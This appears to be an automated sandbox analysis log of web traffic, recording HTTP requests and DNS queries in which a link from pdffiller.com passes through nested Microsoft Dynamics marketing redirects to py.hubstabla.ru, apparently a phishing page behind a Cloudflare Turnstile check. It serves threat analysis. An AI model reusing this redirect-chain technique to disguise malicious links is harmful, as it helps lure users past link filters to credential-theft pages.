Source: global traffic	HTTP traffic detected: GET /api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/TNVXGZpAEEeVLNCQ-7w9cAEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fpublic-usa.mkt.dynamics.com%252Fapi%252Forgs%252Fbe64e573-e0bd-ef11-b8e4-000d3a106803%252Fr%252FyuBJq0y44kKNqEfcwRVL5AEAAAA%253Ftarget%253D%257B%2522TargetUrl%2522%25253A%2522https%2525253A%2525252F%2525252Fpy.hubstabla.ru%2525252FsoYF%2525252F%2522%25252C%2522RedirectOptions%2522%25253A%257B%25225%2522%25253Anull%25252C%25221%2522%25253Anull%257D%257D%2526digest%253Df0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%25253D%2526secretVersion%253Da587597bbd2d4ba3bb4334f6d8be15ee%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=ce6Yi49QL7%2BEXcaIli3%2FTFOTczuiNNnio12L4NDMer0%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/test HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://public-usa.mkt.dynamics.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: uMxqW5BUXn5GXkPnqFAZJg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/yuBJq0y44kKNqEfcwRVL5AEAAAA?target={%22TargetUrl%22%3A%22https%253A%252F%252Fpy.hubstabla.ru%252FsoYF%252F%22%2C%22RedirectOptions%22%3A{%225%22%3Anull%2C%221%22%3Anull}}&digest=f0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/TNVXGZpAEEeVLNCQ-7w9cAEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fpublic-usa.mkt.dynamics.com%252Fapi%252Forgs%252Fbe64e573-e0bd-ef11-b8e4-000d3a106803%252Fr%252FyuBJq0y44kKNqEfcwRVL5AEAAAA%253Ftarget%253D%257B%2522TargetUrl%2522%25253A%2522https%2525253A%2525252F%2525252Fpy.hubstabla.ru%2525252FsoYF%2525252F%2522%25252C%2522RedirectOptions%2522%25253A%257B%25225%2522%25253Anull%25252C%25221%2522%25253Anull%257D%257D%2526digest%253Df0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%25253D%2526secretVersion%253Da587597bbd2d4ba3bb4334f6d8be15ee%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=ce6Yi49QL7%2BEXcaIli3%2FTFOTczuiNNnio12L4NDMer0%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15eeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/TNVXGZpAEEeVLNCQ-7w9cAEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fpublic-usa.mkt.dynamics.com%252Fapi%252Forgs%252Fbe64e573-e0bd-ef11-b8e4-000d3a106803%252Fr%252FyuBJq0y44kKNqEfcwRVL5AEAAAA%253Ftarget%253D%257B%2522TargetUrl%2522%25253A%2522https%2525253A%2525252F%2525252Fpy.hubstabla.ru%2525252FsoYF%2525252F%2522%25252C%2522RedirectOptions%2522%25253A%257B%25225%2522%25253Anull%25252C%25221%2522%25253Anull%257D%257D%2526digest%253Df0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%25253D%2526secretVersion%253Da587597bbd2d4ba3bb4334f6d8be15ee%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=ce6Yi49QL7%2BEXcaIli3%2FTFOTczuiNNnio12L4NDMer0%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15eeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/test HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://public-usa.mkt.dynamics.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: ABi1I/fm3FQwGJDd/ZdFzQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/yuBJq0y44kKNqEfcwRVL5AEAAAA?target={%22TargetUrl%22%3A%22https%253A%252F%252Fpy.hubstabla.ru%252FsoYF%252F%22%2C%22RedirectOptions%22%3A{%225%22%3Anull%2C%221%22%3Anull}}&digest=f0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15eeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://py.hubstabla.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://py.hubstabla.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://py.hubstabla.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://py.hubstabla.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/k7580/0x4AAAAAAA2J8l5wXcrrlHeR/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://py.hubstabla.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f486bd1c9f9dd24&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/k7580/0x4AAAAAAA2J8l5wXcrrlHeR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/k7580/0x4AAAAAAA2J8l5wXcrrlHeR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f486bd1c9f9dd24&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1299115620:1734617518:dCksU5Rt3geYWf_vrkmS-aKr8TtssM3ngo3vNiKxX2Q/8f486bd1c9f9dd24/kq5akwmMSmguAfazEQiwq411yQ40O8BaRRdR.mCRFQo-1734622093-1.1.1.1-mg.t_K6SLPoujm5bwTcagC.fQEQelRE27mD5qeUXLk6cUCRZ1BP85K_yjv_UlmHz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8f486bd1c9f9dd24/1734622095008/756065e185567f593383d708464a4281b8ade0759c0d2428f2e2490948adfe56/WJBHQYiTaX1uS0f HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/k7580/0x4AAAAAAA2J8l5wXcrrlHeR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f486bd1c9f9dd24/1734622095011/6TwEDB0g4X1hLJ9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/k7580/0x4AAAAAAA2J8l5wXcrrlHeR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f486bd1c9f9dd24/1734622095011/6TwEDB0g4X1hLJ9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1299115620:1734617518:dCksU5Rt3geYWf_vrkmS-aKr8TtssM3ngo3vNiKxX2Q/8f486bd1c9f9dd24/kq5akwmMSmguAfazEQiwq411yQ40O8BaRRdR.mCRFQo-1734622093-1.1.1.1-mg.t_K6SLPoujm5bwTcagC.fQEQelRE27mD5qeUXLk6cUCRZ1BP85K_yjv_UlmHz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1299115620:1734617518:dCksU5Rt3geYWf_vrkmS-aKr8TtssM3ngo3vNiKxX2Q/8f486bd1c9f9dd24/kq5akwmMSmguAfazEQiwq411yQ40O8BaRRdR.mCRFQo-1734622093-1.1.1.1-mg.t_K6SLPoujm5bwTcagC.fQEQelRE27mD5qeUXLk6cUCRZ1BP85K_yjv_UlmHz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://py.hubstabla.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241219%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241219T152834Z&X-Amz-Expires=300&X-Amz-Signature=8a824904bafb679b492b56fa6f157b6baea2ee40101468c30ac04a28b2dd5a12&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://py.hubstabla.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241219%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241219T152834Z&X-Amz-Expires=300&X-Amz-Signature=8a824904bafb679b492b56fa6f157b6baea2ee40101468c30ac04a28b2dd5a12&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_376.1.dr	String found in binary or memory: M.getElementsByTagName("iframe"),oa=Q.length,na=0;na<oa;na++)if(!v&&c(Q[na],H.Xe)){UK("https://www.youtube.com/iframe_api");v=!0;break}})}}else G(t.vtp_gtmOnSuccess)}var q=["www.youtube.com","www.youtube-nocookie.com"],r={UNSTARTED:-1,ENDED:0,PLAYING:1,PAUSED:2,BUFFERING:3,CUED:5},u,v=!1;X.__ytl=n;X.__ytl.o="ytl";X.__ytl.isVendorTemplate=!0;X.__ytl.priorityOverride=0;X.__ytl.isInfrastructure=!1; equals www.youtube.com (Youtube)
Source: chromecache_224.1.dr, chromecache_219.1.dr, chromecache_376.1.dr, chromecache_272.1.dr	String found in binary or memory: Math.round(q);t["gtm.videoElapsedTime"]=Math.round(f);t["gtm.videoPercent"]=r;t["gtm.videoVisible"]=u;return t},Ik:function(){e=nb()},Gd:function(){d()}}};var Vb=wa(["data-gtm-yt-inspected-"]),XD=["www.youtube.com","www.youtube-nocookie.com"],YD,ZD=!1; equals www.youtube.com (Youtube)
Source: chromecache_350.1.dr, chromecache_246.1.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var k=DB(a,c,e);T(121);if(k["gtm.elementUrl"]==="https://www.facebook.com/tr/")return T(122),!0;if(d&&f){for(var m=yb(b,g.length),n=0;n<g.length;++n)g[n](k,m);return m.done}for(var p=0;p<g.length;++p)g[p](k,function(){});return!0},GB=function(){var a=[],b=function(c){return bb(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_224.1.dr, chromecache_272.1.dr	String found in binary or memory: if(!(e\|\|f\|\|g\|\|k.length\|\|m.length))return;var p={Hh:e,Fh:f,Gh:g,mi:k,ni:m,Xe:n,Jb:b},q=A.YT;if(q)return q.ready&&q.ready(d),b;var r=A.onYouTubeIframeAPIReady;A.onYouTubeIframeAPIReady=function(){r&&r();d()};G(function(){for(var u=E.getElementsByTagName("script"),v=u.length,t=0;t<v;t++){var w=u[t].getAttribute("src");if(hE(w,"iframe_api")\|\|hE(w,"player_api"))return b}for(var x=E.getElementsByTagName("iframe"),y=x.length,B=0;B<y;B++)if(!ZD&&fE(x[B],p.Xe))return lc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_350.1.dr, chromecache_200.1.dr, chromecache_246.1.dr, chromecache_242.1.dr	String found in binary or memory: return b}VD.F="internal.enableAutoEventOnTimer";var Vb=wa(["data-gtm-yt-inspected-"]),XD=["www.youtube.com","www.youtube-nocookie.com"],YD,ZD=!1; equals www.youtube.com (Youtube)
Source: chromecache_350.1.dr, chromecache_246.1.dr	String found in binary or memory: var jD=function(a,b,c,d,e){var f=aB("fsl",c?"nv.mwt":"mwt",0),g;g=c?aB("fsl","nv.ids",[]):aB("fsl","ids",[]);if(!g.length)return!0;var k=fB(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);T(121);if(m==="https://www.facebook.com/tr/")return T(122),!0;k["gtm.elementUrl"]=m;k["gtm.formCanceled"]=c;a.getAttribute("name")!=null&&(k["gtm.interactedFormName"]=a.getAttribute("name"));e&&(k["gtm.formSubmitElement"]=e,k["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!Mz(k,Oz(b, equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: pdf.ac
Source: global traffic	DNS traffic detected: DNS query: www.pdffiller.com
Source: global traffic	DNS traffic detected: DNS query: static-ak.pdffiller.com
Source: global traffic	DNS traffic detected: DNS query: jsfiller-cdn.pdffiller.com
Source: global traffic	DNS traffic detected: DNS query: cdn.pdffiller.com
Source: global traffic	DNS traffic detected: DNS query: cdn.mrkhub.com
Source: global traffic	DNS traffic detected: DNS query: desk19-rest.pdffiller.com
Source: global traffic	DNS traffic detected: DNS query: fga.infrateam.net
Source: global traffic	DNS traffic detected: DNS query: sks.mrkhub.com
Source: global traffic	DNS traffic detected: DNS query: fileservice.pdffiller.com
Source: global traffic	DNS traffic detected: DNS query: static.pdffiller.com
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: support-backend.usrsprt.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: o178032.ingest.us.sentry.io
Source: global traffic	DNS traffic detected: DNS query: cdn.usrsprt.com
Source: global traffic	DNS traffic detected: DNS query: a.quora.com
Source: global traffic	DNS traffic detected: DNS query: www.upsellit.com
Source: global traffic	DNS traffic detected: DNS query: q.quora.com
Source: global traffic	DNS traffic detected: DNS query: api.usrsprt.com
Source: global traffic	DNS traffic detected: DNS query: public-usa.mkt.dynamics.com
Source: global traffic	DNS traffic detected: DNS query: py.hubstabla.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
